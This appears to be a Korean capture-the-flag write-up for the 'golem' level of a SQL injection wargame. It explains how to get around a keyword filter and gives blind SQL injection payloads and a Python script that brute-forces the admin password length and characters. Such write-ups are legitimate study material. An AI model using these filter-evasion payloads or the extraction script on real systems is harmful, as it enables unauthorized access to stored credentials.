preg_match함수를 통해 or, and, substr, (, = 등의 입력을 막고 있다.
1) 비밀번호 길이 찾기
- ?pw= || id like 'admin' %26%26 length(pw) like 5%23
- ?pw= || id like 'admin' %26%26 length(pw) like 8%23
위처럼 비밀번호가 8임을 알 수 있다.
2) 비밀번호 찾기
자동화 스크립트를 통해 비밀번호 길이와 비밀번호를 동시에 구하도록 하였다.
import requests
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
cookies = {'PHPSESSID' : 'tqe22gs5ja0r848pf9bg7ddi2f'}
len=0
while True:
len+=1
print(len)
params={'pw':"' || id like 'admin' && length(pw) like {} #".format(len)}
res=requests.get(url, params=params , cookies=cookies)
if "Hello admin" in res.text:
print("password length=",len)
break
print()
arr=[]
for k in range(1,len+1):
for j in range(32,127):
res = requests.get(url+"pw=' || id like 'admin' %26%26 ASCII(mid(pw,"+str(k)+",1)) like '"+str(j) ,cookies=cookies)
if 'Hello admin' in res.text:
arr.append(chr(j))
print(arr)
break
print("password=",arr)